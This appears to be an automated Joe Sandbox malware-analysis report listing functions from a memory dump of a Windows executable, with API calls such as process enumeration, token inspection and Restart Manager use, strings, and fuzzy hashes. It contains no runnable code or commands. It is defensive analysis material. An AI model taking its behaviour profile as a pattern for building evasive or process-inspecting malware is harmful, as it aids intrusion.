GetTokenInformation.ADVAPI32 ref: 00007FF75A6E4BBC
ConvertSidToStringSidA.ADVAPI32 ref: 00007FF75A6E4BD3
CloseHandle.KERNEL32 ref: 00007FF75A6E4C46
CloseHandle.KERNEL32 ref: 00007FF75A6E4C51
CloseHandle.KERNEL32 ref: 00007FF75A6E4CB6
Process32NextW.KERNEL32 ref: 00007FF75A6E4CC3
CloseHandle.KERNEL32 ref: 00007FF75A6E4CE9
CloseHandle.KERNEL32 ref: 00007FF75A6E4CF2
CloseHandle.KERNEL32 ref: 00007FF75A6E4D07

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: CloseHandle$Process32Token$InformationNextOpenProcess$ConvertCreateErrorFirstLastSnapshotStringToolhelp32
String ID:
API String ID: 3925315391-0
Opcode ID: b7cdb7a7c6588e50aaab37c0fa57b8db1cd1071ffc72c1321cf755afb8342ce3
Instruction ID: 3eef6355a90c33f3ceaf850deb56cd66ac8acbb502870cd4402c4bc2fbe16156
Opcode Fuzzy Hash: b7cdb7a7c6588e50aaab37c0fa57b8db1cd1071ffc72c1321cf755afb8342ce3
Instruction Fuzzy Hash: 89817E32A18B4282F750AF22E85426AE7A5FF88B84F884575EE4E47B58DF7DD405CB10

Function 00007FF75A69DCE0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 281COMMON

Download Yara Rule

APIs

__std_fs_code_page.LIBCPMT ref: 00007FF75A69DD3F

Part of subcall function 00007FF75A72B260: AreFileApisANSI.KERNEL32(?,?,?,?,00007FF75A6C5C46,?,?,00000000,00000000,?,00000000,?,00007FF75A6A786D), ref: 00007FF75A72B272

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A69DF52
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A69DF58
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF75A69DFE7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A69E00D
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF75A69E0A1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A69E0AD

Strings

: ", xrefs: 00007FF75A69DDFA
", ", xrefs: 00007FF75A69DE2D

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$ApisFile__std_fs_code_page
String ID: ", "$: "
API String ID: 1991941009-747220369
Opcode ID: b6bde7b0fd070ce518661ad40e676b058974f13f872575cb34e94787139c7c00
Instruction ID: 967f8026a18ced9b0fa694099b873bdea310b02ebd978d7dbd9d22754c72051a
Opcode Fuzzy Hash: b6bde7b0fd070ce518661ad40e676b058974f13f872575cb34e94787139c7c00
Instruction Fuzzy Hash: 25B1AD72B04B4589FB00EF65D4403BCA362EF48B88F8849B1DA5D17B99DF38D495C3A0

Function 00007FF75A6F9B70 Relevance: 13.6, APIs: 9, Instructions: 117COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF75A6F9BA1
GetProcessId.KERNEL32 ref: 00007FF75A6F9BAA
RmStartSession.RSTRTMGR ref: 00007FF75A6F9BCA
RmRegisterResources.RSTRTMGR ref: 00007FF75A6F9BF5
RmGetList.RSTRTMGR ref: 00007FF75A6F9C2E
RmGetList.RSTRTMGR ref: 00007FF75A6F9C90
RmEndSession.RSTRTMGR ref: 00007FF75A6F9CCB
RmEndSession.RSTRTMGR ref: 00007FF75A6F9D02
RmEndSession.RSTRTMGR ref: 00007FF75A6F9D17

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Session$ListProcess$CurrentRegisterResourcesStart
String ID:
API String ID: 3299295986-0
Opcode ID: 4ddc3a5b4f8c6342cd3dcf0c0e78daa6693b2bbe667ef408570da53bc05ca548
Instruction ID: bf58f10631b0c2cfd10be7ccf236d44fb284b08c450f1f15d2fc171c852da0f3
Opcode Fuzzy Hash: 4ddc3a5b4f8c6342cd3dcf0c0e78daa6693b2bbe667ef408570da53bc05ca548
Instruction Fuzzy Hash: 5D513F32F08A428AF710DFA5E4506ADB7B2FF48B48F944579DE0E57B98DE38D8068750

Function 00007FF75A721A44 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF75A721AA1

Part of subcall function 00007FF75A723E5C: __GetUnwindTryBlock.LIBCMT ref: 00007FF75A723E9F
Part of subcall function 00007FF75A723E5C: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF75A723EC4

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF75A721B79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF75A721DC7
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF75A721ED4

Strings

csm, xrefs: 00007FF75A721B9C
csm, xrefs: 00007FF75A721B22
csm, xrefs: 00007FF75A721ABB

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 93094d183b60bcbe653e0156645cfa8f2fca202be6890cc91cb0939cc453230d
Instruction ID: b896d592dd79ccec896a24e6b83bd6f0336e6540b155ae7caf9f4044096a4b9d
Opcode Fuzzy Hash: 93094d183b60bcbe653e0156645cfa8f2fca202be6890cc91cb0939cc453230d
Instruction Fuzzy Hash: 8CD18E32A0874186FB20EF2594403BDB7A0FF89788F980975EA4D57B95DF3AE581C760

Function 00007FF75A6B9990 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF75A6B9A00
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF75A6B9A48
_Getcoll.LIBCPMT ref: 00007FF75A6B9A7C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B9B7B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B9BF6

Strings

bad locale name, xrefs: 00007FF75A6B9B81

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnstd::_$GetcollLocinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 2486341784-1405518554
Opcode ID: 010b7c5d2d8d49d9b8afaaa73245b9f2d98800797003595236599776179208ec
Instruction ID: 403eb6e28f3e1060f54e31e66c5a62bf9b8b34e64afd09059dcb09df33591474
Opcode Fuzzy Hash: 010b7c5d2d8d49d9b8afaaa73245b9f2d98800797003595236599776179208ec
Instruction Fuzzy Hash: EA91EF32B05B818AFB14AF74E4503ADB362EF48B88F884975DE4D17B89DF38D8518394

Function 00007FF75A70DB5C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,00000000,00007FF75A70E206,?,?,00000030,00007FF75A715408,?,?,?,?,?,?,?,?), ref: 00007FF75A70DCD8
GetProcAddress.KERNEL32(?,00000000,00007FF75A70E206,?,?,00000030,00007FF75A715408,?,?,?,?,?,?,?,?), ref: 00007FF75A70DCE4

Strings

api-ms-, xrefs: 00007FF75A70DC22
ext-ms-, xrefs: 00007FF75A70DC35

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: ca7c09baf792878f96d911292d21648074434898d998409f668d6f16be7d0add
Instruction ID: 295e5485d9642697e0f00200a4ce67a693ce802ce826aeac9f8470b45bf803f7
Opcode Fuzzy Hash: ca7c09baf792878f96d911292d21648074434898d998409f668d6f16be7d0add
Instruction Fuzzy Hash: D241FF26B29B0285FB16AF169C00176A395BF0CBA0FCE4975DD0E87385EE7CE9018730

Function 00007FF75A6C9970 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF75A6C9B53
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6C9BDD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6C9BE3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6C9BE9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6C9BEF

Strings

out_of_range, xrefs: 00007FF75A6C99E2

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_copy
String ID: out_of_range
API String ID: 1944019136-3053435996
Opcode ID: db60ccd60f14dcbcbf5858521f663935de6d7f86dd4ae4db5a2c6aada981dd98
Instruction ID: 072a89b5b785964fa8ca097f1701b5783e8f9295eb65d58f74514f2faed97803
Opcode Fuzzy Hash: db60ccd60f14dcbcbf5858521f663935de6d7f86dd4ae4db5a2c6aada981dd98
Instruction Fuzzy Hash: 3E71D663F08B8298FB00EF74D4503ADA362EF597A8F445771EA6C166DADE38D185C350

Function 00007FF75A6B7AC0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 169COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF75A6B7C9F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B7D24
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B7D2A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B7D30
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6B7D36

Strings

type_error, xrefs: 00007FF75A6B7B34

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_copy
String ID: type_error
API String ID: 1944019136-1406221190
Opcode ID: 5fc9c34e79f061a2da8f41d5f3273fef25f1479915fd1783afdefc1fbe7e5777
Instruction ID: 0f6744e28de49ef380e503e50a8cfa9d1c485bca59c02c4c877b2bb65fe0bbb6
Opcode Fuzzy Hash: 5fc9c34e79f061a2da8f41d5f3273fef25f1479915fd1783afdefc1fbe7e5777
Instruction Fuzzy Hash: 6471D163F19B8688FB00EF74D4503BCA362EF59798F449671DE6C166D9EE38A085C350

Function 00007FF75A6CCB00 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF75A6CCCDF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6CCD64
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6CCD6A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6CCD70
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6CCD76

Strings

invalid_iterator, xrefs: 00007FF75A6CCB74

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_copy
String ID: invalid_iterator
API String ID: 1944019136-2508626007
Opcode ID: 095043f3bc64769925eb2570968ef23eacf279b81fb299f9ce2172f610b80348
Instruction ID: b11fdc4109127c3d302d90954df3debc1a8d26defacecf4081fa9115caf6a905
Opcode Fuzzy Hash: 095043f3bc64769925eb2570968ef23eacf279b81fb299f9ce2172f610b80348
Instruction Fuzzy Hash: C071C363F18B8288FB00EF74D4603ACA361EF59798F445771DE6C166D9EE38A085C354

Function 00007FF75A72D0CC Relevance: 9.2, APIs: 6, Instructions: 206COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF75A72D13C
MultiByteToWideChar.KERNEL32 ref: 00007FF75A72D1DA
LCMapStringEx.KERNEL32 ref: 00007FF75A72D243
LCMapStringEx.KERNEL32 ref: 00007FF75A72D295
LCMapStringEx.KERNEL32 ref: 00007FF75A72D33A
WideCharToMultiByte.KERNEL32 ref: 00007FF75A72D394

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 7d9f455a94f84a05f587d57d339c879795f99f0f1217d4298ff39db3fa6ba98e
Instruction ID: c73c96d193f9891cda040254cdca4db86ec762a66c12bbd6f86392757c5e0b0b
Opcode Fuzzy Hash: 7d9f455a94f84a05f587d57d339c879795f99f0f1217d4298ff39db3fa6ba98e
Instruction Fuzzy Hash: 2A81A272A0874186FB60AF15E840279B3E5FF487A8F980A71EA5D47BCADF3DD5018720

Function 00007FF75A6F6F40 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF75A6F6FCB

Strings

?, xrefs: 00007FF75A6F6F80

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Open
String ID: ?
API String ID: 71445658-1684325040
Opcode ID: 7683199d481547234d5abb44f74d8fafb968323c0c38a5f9520d2a5466d55f74
Instruction ID: e024dc7e5139d9213f119bd4cbd55140caefb450a946b142228b39b5b5a8b994
Opcode Fuzzy Hash: 7683199d481547234d5abb44f74d8fafb968323c0c38a5f9520d2a5466d55f74
Instruction Fuzzy Hash: 0E41D172A18B8281FB509F25F48036AF7A1FF98B94F545635FA9D02A99DF3CD084CB40

Function 00007FF75A714FB8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF75A714FDD
GetProcAddress.KERNEL32 ref: 00007FF75A714FF3
FreeLibrary.KERNEL32 ref: 00007FF75A71501A

Strings

mscoree.dll, xrefs: 00007FF75A714FD4
CorExitProcess, xrefs: 00007FF75A714FEC

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 780b3f1f3aecbe1eb4b75bb10cd40d76e1f940e32b271abccdf7c11bca0f4dbd
Instruction ID: 517c4f7e11dd2f4136068ce81048f9d1d004ffae3f9f31ae9880cf18f3cf34e0
Opcode Fuzzy Hash: 780b3f1f3aecbe1eb4b75bb10cd40d76e1f940e32b271abccdf7c11bca0f4dbd
Instruction Fuzzy Hash: A1F0C221F1860682FB14AF64E44433AD360BF4C7A0FDC0A75C56E462E4DF7CD4488760

Function 00007FF75A6F59A0 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF75A6F59D2
GetWindowRect.USER32 ref: 00007FF75A6F59E3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F5B5C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F5B62
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF75A6F5B68

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Window$DesktopRect
String ID:
API String ID: 1991322523-0
Opcode ID: 9bb843e96bf88f01ecfc74e6437fb95d332e60f2b1f466af1cae0de28643ca82
Instruction ID: f41ca9cc5edb70b1f35cc542068dfc9e6fc415ba67de1c32ba20fdd85d2063cd
Opcode Fuzzy Hash: 9bb843e96bf88f01ecfc74e6437fb95d332e60f2b1f466af1cae0de28643ca82
Instruction Fuzzy Hash: 8C41C662E0878245FA10AB18E48137AE752EFC9BE0F944771EAAC06BD9DE3CD4818754

Function 00007FF75A709FC0 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF75A709FD1
FlsSetValue.KERNEL32 ref: 00007FF75A709FF0
FlsSetValue.KERNEL32 ref: 00007FF75A70A018
FlsSetValue.KERNEL32 ref: 00007FF75A70A029
FlsSetValue.KERNEL32 ref: 00007FF75A70A03A

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482800950.00007FF75A7A8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff75a670000_xdnfl52f.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 029adb41c12981c097db0845c1b503877c108bf882051739f380996e4e9e8d04
Instruction ID: eb6f1f599375e00af79392a8ff115e9a102511b7bb6a80e6ad22ecd7fdda8f8e
Opcode Fuzzy Hash: 029adb41c12981c097db0845c1b503877c108bf882051739f380996e4e9e8d04
Instruction Fuzzy Hash: 2211D614A0E70646F9587F316C511BA92416F4C370E9C5FB4EA3E0A2D7ED2DB6418A31

Function 00007FF75A6D0BD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 248COMMON

Download Yara Rule

Strings

ios_base::badbit set, xrefs: 00007FF75A6D0C37
ios_base::failbit set, xrefs: 00007FF75A6D0C42
ios_base::eofbit set, xrefs: 00007FF75A6D0C49

Memory Dump Source

Source File: 0000000A.00000002.2482594074.00007FF75A671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF75A670000, based on PE: true

Associated: 0000000A.00000002.2482566622.00007FF75A670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482672424.00007FF75A745000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482722327.00007FF75A7A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482748855.00007FF75A7A2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2482774301.00007FF75A7A5000.00000004.00000001.01000000.0000000B.sdmpDownload File
